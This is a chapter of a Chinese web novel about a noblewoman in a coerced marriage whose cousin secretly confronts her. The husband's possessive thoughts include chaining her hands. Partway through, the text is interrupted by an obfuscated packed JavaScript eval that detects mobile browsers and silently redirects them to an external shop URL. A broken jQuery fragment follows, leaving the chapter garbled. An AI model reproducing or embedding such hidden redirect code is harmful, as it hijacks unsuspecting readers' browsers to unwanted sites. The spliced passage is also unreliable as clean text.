文趣网 > 都市小说 > 强娶的夫人要和离 > 62. 暗夺
    沈既明回京后,徐隐章夜里一直睡不好。夜深人静时,总不受控制地想他们的过去。

    四年前初见她时,她才十三岁,还是个孩子,徐隐章哪有什么旁的心思。

    后来不知怎的,像是老天爷阻挠一样。明明则安经常来宣威侯府,明明徐隐章也经常过来找沈既昂,两人就是再没碰过面。

    直到去年秋天,徐隐章才又见到她。

    那是个凉爽的秋日,沈既昂坐在书案后头,徐隐章坐在下首圈椅上。书房的门敞开着,院子里种的槐树开的很好,借着秋风溜进屋内。

    徐隐章不解地看着他,沈既昂解释:“待会儿有个小丫头要过来,找我麻烦。”

    徐隐章猜测,十有八九是夏则安,沈既昂偶尔会提起她。

    “那个丫头年纪不大,胆子可不小,脾气也暴,活脱脱一根小辣椒。五弟一颗心全扑在她身上,她若是想要天上的月亮,五弟连夜就得架梯子上去摘。”

    “也长成大姑娘了,脾气还是不收敛。”提起这些,沈既昂总忍不住叹气:“二叔母寡居多年,五弟又没个正经官位,夏家也势弱。周氏和三房都不是省油的灯,等她进了门,保不齐要怎么磋磨她。”

    想到夏则安,徐隐章心里也隐隐升起期待与好奇。

    他理了理下摆,抚平本不存在的褶皱。将脚往里收,坐的更端正些。

    清风送来海棠花香,徐隐章转头往门外看。

    曾经狡黠机灵、胆大妄为的小女孩长成了亭亭玉立的大姑娘。

    鹅黄色短袄配湖蓝色马面裙,娇、柔、美。远远看着,也像是端庄文气的闺秀。

    走的近了他才看清楚,她面含深怒,两手握拳,步子迈的极大,衣裙翻飞间,带起来的淡淡海棠香气拂过他的面颊。

    他从未见过此等熏香,太霸道、太强硬,不容拒绝地穿透他的胸膛,直达心底最深处。

    他看见她两手用力拍在书案上,指着沈既昂的鼻子叱骂。

    具体说了什么,一句也没听清楚。

    香气如人,这个女子也霸道、强硬的很。

    牢牢占据着他的视线,一刻都不许他离开。

    临走时,她又瞪了他一眼。

    徐隐章想,世上绝找不出比她更霸道的女子。

    蛮横、果决地破开他的胸膛,毫不留情地将他的心取走,根本不顾他的死活。

    一整天徐隐章都浑浑噩噩的。

    她已经许了人家,君子不夺人妻。

    并未交换庚帖,不能算作许了人家。

    况且,沈既明那个毛头小子,连自己的母亲都保不住,如何护得住她。她那样恣意鲜活的姑娘,受不了委屈的。

    赶在成亲之前见到她,不正是老天爷的暗示么?

    没有过早,没有太迟,偏偏赶在她长大之后,没有嫁人之前。

    这就是天定的缘分,不能辜负。

    沈既明在房州时,徐隐章并不怎么在意他们的过去。

    年少之时的情愫,不值得当回事。

    沈既明回京后,好友沈既昂曾经的话都冒了出来,像绣花针穿进皮肤里,随着血液肆意流动。

    扎破血管,刺入五脏六腑。

    时不时的疼。

    “小丫头也可怜,小小年纪没了娘,也没有同胞兄弟姊妹。要是脾气不硬气些,还不知道要吃多少亏。嫁给既明也好,青梅竹马,又是表兄妹,有自小的情分在,既明无论如何都不会委屈了她。”

    “也是难为了既明,说是则安生辰快到了,要送她一匹小马。辛辛苦苦攒了大半年,银子还是不够,跑来找我借。”沈既昂边说边笑着摇头:“从前攒钱给她买衣裳首饰,而今倒好,还要买马,赶明儿是不是还要买皇宫?”

    “既明今日碰见我就躲,我以为他又带着则安闯祸,将人抓来了问。原来,是则安给他做了双皂靴,他想找我来炫耀,真见着我又不好意思。”

    “昨夜里五弟和刘家的公子打架,躲着不敢见则安。今儿上午则安过来,见了他额头上的伤心疼的不得了,又是敷鸡蛋,又是涂药油。我去了一瞧,不过就是鼓了个包。”沈既昂只当趣事说给他听:“小丫头也长大了,见着我还知道不好意思。”

    思绪回笼,徐隐章盯着面前这双白嫩的手。

    这双手太嫩、太软,单只是握住他都要喊累。

    若是用链子锁起来,必然要磨破皮。

    “不要开玩笑。”徐隐章握住她手,抬眼看她。

    则安冷哼一声:“原来你还知道不妥?”

    徐隐章不说话,则安没好气地说:“快出去!你跟他去前院书房,我与大姐说会儿话,待会儿过去找你。”

    徐隐章与沈既明走了,却没有去前院,而是待在院子凉亭里。

    则安瞪他一眼,恼恨地将门甩上。

    她站在寝居门口,温声细语恳求了许久,夏则清才终于肯出来。

    二人坐在罗汉床前,则安打开楠木箱子,献宝似地给她展示她做的护膝、冬装、大氅。

    夏则清勉强扯出个笑,并不说话。

    则安见状也不强求,只说:“你院子里的丫鬟婆子手脚不干净,这冬装和大氅可都是好皮子做的,我给你收在里间衣柜里。”

    说着则安便抱了衣服往里走。

    进了里间,打开衣柜,嘴巴突然被人从身后捂住。

    “则安,是我。”

    沈既明松开她。

    “你怎么……”

    “则安,怎么了?”外面传来夏则清的声音。

    “没事,有东西掉在地上。”

    则安想把沈既明往窗台拽:“你快走!快走!趁着现在没人发现,赶紧翻窗户走。”

    沈既明立着不动,一直盯着她看。则安顺着视线侧头,忽然想起自己脖子上的红痕,心虚地捂住脖子,另一手依旧拉扯他往窗边去。

    沈既明微微用力,将她拽了回来。两手握住她肩膀,微微躬身,视线与她齐平:“你告诉我,你是不是被逼嫁着嫁给徐隐章的。”

    “这是大姐的寝居,你怎么能来!”则安急的像热锅上的蚂蚁,不死心地推他:“要是让旁人看见了,往后大姐怎么做人?你怎么做人?即便是表姐弟,也不能如此。”

    “有什么事以后再说,快走!表哥,我求求你,先离开这!”

    “这就是最要紧的事,必须现在说!你不说我就不走。”沈既明固执地杵在原地。

    则安深深吸一口气:“我是自愿嫁给他的,没有人强迫我。而且,他对我很好,我现在过得很好。”

    “自愿?”沈既明像是听到了什么天大的笑话,“如果你是自愿,那我们之间……我们之间的情分算什么?”沈既明从怀中取出五彩络子,放在她掌心:“我去房州时,你说过你会等我回来。你说这个平安符就代表你,一直陪着我。”

    “表哥……表哥……”则安低头看一眼平安符,抬眼再看他时,喉中像是塞了一大块黄连,黏腻持久的苦味蔓延在嗓子里,苦的她开不了口。

    “表哥……”她声音有些哽咽:“表哥……是我对不起你……都是我对不起你。”

    沈既明掌两只手捧起她的脸,语气坚定:“你畏惧狗贼权势,对不对?不用怕,他虽身居高位,但在朝中树敌也不少。我已联络了昭勇将军,不日就能让他丢官削爵,到时候一定救你出来。”

    “则安,还没放好吗?”又是夏则清的声音。

    “就快好了,我将衣柜里的衣服重新整理一遍。”

    “徐隐章树大根深,没有你想的这么简单。再说,秦镇岳也不是什么好人,你千万不能同他有牵扯。”则安两只手抓着他胳膊,摇晃着恳求:“表哥,你听我的,千万不能轻举妄动。你好不容易立了功,千万不能为了我毁了自己的前程。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795464|208847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“过段时间,等过段时间我一定亲自来找你。”则安信誓旦旦:“我保证,我一定会主动来见你,将所有事情都说清楚。”

    “你果然是被逼的。”

    “你果然畏惧他权势。”

    沈既明语气笃定。

    “没有!没有!他真的没有强迫我!”则安微微退后两步,转了个圈,急切地展示给他看。

    “我过得很好,你看我现在,穿的是上好的云锦,戴的是东海的粉珍珠,京城哪个女子有我富贵?”

    “你一直说你过得好。”

    “衔珠也说你过得好。”

    捧在手心里的宝贝姑娘,天不怕地不怕的小公主,如今张口闭口都是委屈求全,太“懂事”了,刺的他心脏一抽一抽的疼。他眼底含了薄薄水光,声音不自觉也带了些哽咽。

    “如果你真的过得好,为何如此害怕?”

    “如果你真的过得好,为何不敢来见我?即便做不成夫妻,我也永远你表哥。嫁给徐隐章后,难道连血脉相连的表哥也不能再见?”

    她真的觉得现在过得挺好的。

    荣华富贵、锦衣玉食。既然享受了这些,牺牲些自由也没什么,甘蔗不能两头甜。

    徐隐章虽然霸道、强硬,但他也温柔,体贴,给足了她体面。人无完人,她自己也不是什么淑女,还不是经常对着他发脾气。

    人活着要知足,不能什么都要。

    在这世上,没有谁不受委屈。

    沈既明的话却像刀子,一刀一刀直往她心里扎。

    “表哥……表哥……你……你……”

    眼泪像掉了线的珠子,控制不住地往下掉。她再也说不出话。

    沈既明用衣袖给她擦眼泪,轻轻抱住她。

    “徐隐章就算再有权势,上头总还有皇上。不必害怕,我一定会扳倒他,救你出来。”

    幻影破碎,理智回笼。

    “表哥,生米煮成了熟饭,我已经是他的妻子。夫妻俩过日子没有不吵架的,这不算什么。他对我真的好,你若是不信,大可去问大姐二姐,或是你的好友,他们都知道。”

    她语气笃定,像是在说服沈既明,又像是在说服自己:“全京城都知道。”

    “你随便找个人问,所有人都知道他给我大哥二哥谋了缺,都知道他一贯维护我。从前那些瞧不起我、在背后嚼我舌根的人,而今见了我都恭恭敬敬。”

    “我不是怕他,只是尽我做为妻子的本分。夫为妻纲,做妻子的自然该事事以夫君为上。寻常人家尚且如此,更何况这等勋贵人家?”

    沈既明眼底水光越积越重,连连摇头。像是在否认她说的一切,又像是在否认眼前这个人,就好像这个人不是他心心念念的则安。

    “则安,你以前有仇必报、不畏强权。”

    沈既明抚摸则安的脸,眼底是心疼、是悲痛,就好像曾经珍爱的人彻底消失了。

    “你八岁时在祠堂顶撞舅舅,舅舅扬言要把你送去庙里做姑子,你一点都不怕。”

    “你十岁时刘子义嘲笑你是没娘的孩子,没教养的野丫头,你比他矮了整整一个头,却敢提着砖头砸他。”

    “你十三岁时与如淳打架,那么多长辈质问你,你条理清晰辩解,将他们说的哑口无言。”

    这些话像冰锥,穿透则安的心,将她钉在原地动弹不得。同样地,也将沈既明扎的支离破碎。

    “都是我不好。”

    “我不该抛下你去房州……我不该让你受这么多委屈。”

    “表哥……你……你不要……你不要……”

    则安泪如雨下,成亲之后一直克制压抑的委屈、不甘,如潮水般决堤,让她再也说不出拒绝的话,再也没有力气推开沈既明。

    “哐当!”

    门被人从外面推开。

    则安并没有忘记,徐隐章一直守在院外凉亭之中。